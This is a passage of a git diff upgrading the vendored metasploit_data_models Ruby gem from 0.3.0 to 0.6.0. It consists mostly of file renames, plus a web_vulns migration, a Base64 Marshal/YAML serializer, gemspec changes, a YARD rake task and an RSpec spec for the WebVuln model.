b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb similarity index 100% rename from data/sql/migrate/20111203000000_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb diff --git a/data/sql/migrate/20111204000000_more_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb similarity index 100% rename from data/sql/migrate/20111204000000_more_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb diff --git a/data/sql/migrate/20111210000000_add_scope_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb similarity index 100% rename from data/sql/migrate/20111210000000_add_scope_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb diff --git a/data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb similarity index 100% rename from data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb diff --git a/data/sql/migrate/20120411173220_rename_workspace_members.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb similarity index 100% rename from data/sql/migrate/20120411173220_rename_workspace_members.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb diff --git a/data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb similarity index 100% rename from data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb diff --git a/data/sql/migrate/20120625000000_add_vuln_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb similarity index 100% rename from data/sql/migrate/20120625000000_add_vuln_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb diff --git a/data/sql/migrate/20120625000001_add_host_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb similarity index 100% rename from data/sql/migrate/20120625000001_add_host_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb diff --git a/data/sql/migrate/20120625000002_expand_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb similarity index 100% rename from data/sql/migrate/20120625000002_expand_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb diff --git a/data/sql/migrate/20120625000003_expand_details2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb similarity index 100% rename from data/sql/migrate/20120625000003_expand_details2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb diff --git a/data/sql/migrate/20120625000004_add_vuln_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb similarity index 100% rename from data/sql/migrate/20120625000004_add_vuln_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb diff --git a/data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb similarity index 100% rename from data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb diff --git a/data/sql/migrate/20120625000006_add_module_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb similarity index 100% rename from data/sql/migrate/20120625000006_add_module_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb diff --git a/data/sql/migrate/20120625000007_add_exploit_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb similarity index 100% rename from data/sql/migrate/20120625000007_add_exploit_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb diff --git a/data/sql/migrate/20120625000008_add_fail_message.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb similarity index 100% rename from data/sql/migrate/20120625000008_add_fail_message.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb diff --git a/data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb similarity index 100% rename from data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb new file mode 100644 index 0000000000..bf0f9d7297 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb @@ -0,0 +1,35 @@ +# Changes all the {COLUMNS} in the web_vulns table that are required for {Mdm::WebVuln}, but were previously +# :null => true +class ChangeRequiredColumnsToNullFalseInWebVulns < ActiveRecord::Migration + # Columns that were previously :null => true, but are actually required to be non-null, so should be + # :null => false + COLUMNS = [ + :category, + :confidence, + :method, + :name, + :params, + :path, + :pname, + :proof, + :risk + ] + # Table in which {COLUMNS} are. + TABLE_NAME = :web_vulns + + # Marks all the {COLUMNS} as :null => true + def down + COLUMNS.each do |column| + change_column_null(TABLE_NAME, column, true) + end + end + + # Marks all the {COLUMNS} as :null => false + def up + COLUMNS.each do |column| + change_column_null(TABLE_NAME, column, false) + end + end + + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/mdm.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/mdm.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/mdm/host/operating_system_normalization.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/mdm/host/operating_system_normalization.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb new file mode 100755 index 0000000000..dfc0596b68 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb @@ -0,0 +1,103 @@ +# Provides ActiveRecord 3.1x-friendly serialization for descendants of +# ActiveRecord::Base. Backwards compatible with older YAML methods and +# will fall back to string decoding in the worst case +# +# @example Using default default of {} +# serialize :foo, MetasploitDataModels::Base64Serializer.new +# +# @example Overriding default to [] +# serialize :bar, MetasploitDataModels::Base64Serializer.new(:default => []) +# +module MetasploitDataModels + class Base64Serializer + # + # CONSTANTS + # + + # The default for {#default} + DEFAULT = {} + # Deserializers for {#load} + # 1. Base64 decoding and then unmarshalling the value. + # 2. Parsing the value as YAML. + # 3. The raw value. + LOADERS = [ + lambda { |serialized| + marshaled = serialized.unpack('m').first + # Load the unpacked Marshal object first + Marshal.load(marshaled) + }, + lambda { |serialized| + # Support legacy YAML encoding for existing data + YAML.load(serialized) + }, + lambda { |serialized| + # Fall back to string decoding + serialized + } + ] + + # + # Methods + # + + # Creates a duplicate of default value + # + # @return + def default + @default.dup + end + + attr_writer :default + + # Serializes the value by marshalling the value and then base64 encodes the marshaled value. + # + # @param value [Object] value to serialize + # @return [String] + def dump(value) + # Always store data back in the Marshal format + marshalled = Marshal.dump(value) + base64_encoded = [ marshalled ].pack('m') + + base64_encoded + end + + # @param attributes [Hash] attributes + # @option attributes [Object] :default ({}) Value to use for {#default}. + def initialize(attributes={}) + attributes.assert_valid_keys(:default) + + @default = attributes.fetch(:default, DEFAULT) + end + + # Deserializes the value by either + # 1. Base64 decoding and then unmarshalling the value. + # 2. Parsing the value as YAML. + # 3. Returns the raw value. + # + # @param value [String] serialized value + # @return [Object] + # + # @see #default + def load(value) + loaded = nil + + if value.blank? + loaded = default + else + LOADERS.each do |loader| + begin + loaded = loader.call(value) + rescue + next + else + break + end + end + end + + loaded + end + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb new file mode 100644 index 0000000000..4f73f5c985 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb @@ -0,0 +1,14 @@ +require 'rails' + +module MetasploitDataModels + class Engine < Rails::Engine + + # @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl + config.generators do |g| + g.assets false + g.fixture_replacement :factory_girl, :dir => 'spec/factories' + g.helper false + g.test_framework :rspec, :fixture => false + end + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/serialized_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/serialized_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/validators/ip_format_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/validators/ip_format_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb new file mode 100755 index 0000000000..6532b907d4 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb @@ -0,0 +1,8 @@ +module MetasploitDataModels + # MetasploitDataModels follows the {http://semver.org/ Semantic Versioning Specification}. At this time, the API + # is considered unstable because although the database migrations have moved from + # metasploit-framework/data/sql/migrate to db/migrate in this project, not all models have specs that verify the + # migrations (with have_db_column and have_db_index) and certain models may not be shared between metasploit-framework + # and pro, so models may be removed in the future. Because of the unstable API the version should remain below 1.0.0 + VERSION = '0.6.0' +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake new file mode 100644 index 0000000000..cc279684e7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake @@ -0,0 +1,27 @@ +# @note All options not specific to any given rake task should go in the .yardopts file so they are available to both +# the below rake tasks and when invoking `yard` from the command line + +require 'yard' +require 'yard/rake/yardoc_task' + +namespace :yard do + YARD::Rake::YardocTask.new(:doc) do |t| + # --no-stats here as 'stats' task called after will print fuller stats + t.options = ['--no-stats'] + + t.after = Proc.new { + Rake::Task['yard:stats'].execute + } + end + + desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods" + task :stats => :environment do + stats = YARD::CLI::Stats.new + stats.run('--compact', '--list-undoc') + end +end + +# @todo Figure out how to just clone description from yard:doc +desc "Generate YARD documentation" +# allow calling namespace to as a task that goes to default task for namespace +task :yard => ['yard:doc'] \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/metasploit_data_models.gemspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec similarity index 83% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/metasploit_data_models.gemspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec index 3a26fb1312..c3f3788558 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/metasploit_data_models.gemspec +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec @@ -18,8 +18,12 @@ Gem::Specification.new do |s| # ---- Dependencies ---- s.add_development_dependency 'rake' + # markdown formatting for yard + s.add_development_dependency 'redcarpet' + # documentation + s.add_development_dependency 'yard' - s.add_runtime_dependency 'activerecord' + s.add_runtime_dependency 'activerecord', '>= 3.2.10' s.add_runtime_dependency 'activesupport' s.add_runtime_dependency 'pg' s.add_runtime_dependency 'pry' diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb new file mode 100644 index 0000000000..904a19fe0b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb @@ -0,0 +1,126 @@ +require 'spec_helper' + +describe Mdm::WebVuln do + let(:confidence_range) do + 1 .. 100 + end + + let(:default_params) do + [] + end + + let(:methods) do + [ + 'GET', + 'POST', + # XXX not sure why PATH is valid since it's not an HTTP method verb. + 'PATH' + ] + end + + let(:risk_range) do + 0 .. 5 + end + + subject(:web_vuln) do + described_class.new + end + + context 'associations' do + it { should belong_to(:web_site).class_name('Mdm::WebSite') } + end + + context 'CONSTANTS' do + it 'should define CONFIDENCE_RANGE' do + described_class::CONFIDENCE_RANGE.should == confidence_range + end + + it 'should define METHODS in any order' do + described_class::METHODS.should =~ methods + end + + it 'should define RISK_RANGE' do + described_class::RISK_RANGE.should == risk_range + end + end + + context 'database' do + context 'columns' do + it { should have_db_column(:blame).of_type(:text) } + it { should have_db_column(:category).of_type(:text).with_options(:null => false) } + it { should have_db_column(:confidence).of_type(:text).with_options(:null => false) } + it { should have_db_column(:description).of_type(:text) } + it { should have_db_column(:method).of_type(:string).with_options(:limit => 1024, :null => false) } + it { should have_db_column(:name).of_type(:string).with_options(:limit => 1024, :null => false) } + it { should have_db_column(:owner).of_type(:string) } + it { should have_db_column(:params).of_type(:text).with_options(:null => false) } + it { should have_db_column(:path).of_type(:text).with_options(:null => false) } + it { should have_db_column(:payload).of_type(:text) } + it { should have_db_column(:pname).of_type(:text).with_options(:null => false) } + it { should have_db_column(:proof).of_type(:binary).with_options(:null => false) } + it { should have_db_column(:query).of_type(:text) } + it { should have_db_column(:request).of_type(:binary) } + it { should have_db_column(:risk).of_type(:integer).with_options(:null => false) } + it { should have_db_column(:web_site_id).of_type(:integer).with_options(:null => false) } + + context 'timestamps' do + it { should have_db_column(:created_at).of_type(:datetime).with_options(:null => false) } + it { should have_db_column(:updated_at).of_type(:datetime).with_options(:null => false) } + end + end + + context 'indices' do + it { should have_db_index(:method) } + it { should have_db_index(:name) } + it { should have_db_index(:path) } + end + end + + context 'validations' do + it { should validate_presence_of :category } + it { should ensure_inclusion_of(:confidence).in_range(confidence_range) } + it { should ensure_inclusion_of(:method).in_array(methods) } + it { should validate_presence_of :name } + it { should validate_presence_of :path } + + it 'should not validate presence of params because it default to [] and can never be nil' do + web_vuln.should_not validate_presence_of(:params) + end + + it { should validate_presence_of :pname } + it { should validate_presence_of :proof } + it { should ensure_inclusion_of(:risk).in_range(risk_range) } + it { should validate_presence_of :web_site } + end + + context 'serializations' do + it { should serialize(:params).as_instance_of(MetasploitDataModels::Base64Serializer) } + end + + context '#params' do + let(:default) do + [] + end + + let(:params) do + web_vuln.params + end + + it 'should default to []' do + params.should == default + end + + it 'should return default if set to nil' do + web_vuln.params = nil + web_vuln.params.should == default + end + + it 'should return default if set to nil and saved' do + web_vuln = FactoryGirl.build(:mdm_web_vuln) + web_vuln.params = nil + web_vuln.save! + + web_vuln.params.should == default + end + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/Rakefile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/assets/javascripts/application.js b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/assets/javascripts/application.js rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/assets/stylesheets/application.css b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/assets/stylesheets/application.css rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/controllers/application_controller.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/controllers/application_controller.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/helpers/application_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/helpers/application_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/mailers/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/mailers/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/models/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/models/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/views/layouts/application.html.erb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/app/views/layouts/application.html.erb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config.ru b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config.ru rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/application.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/application.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/boot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/boot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/database.yml.example b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/database.yml.example rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environments/development.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environments/development.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environments/production.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environments/production.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environments/test.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/environments/test.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/backtrace_silencers.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/backtrace_silencers.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/inflections.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/inflections.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/mime_types.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/mime_types.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/secret_token.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/secret_token.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/session_store.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/session_store.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/wrap_parameters.rb 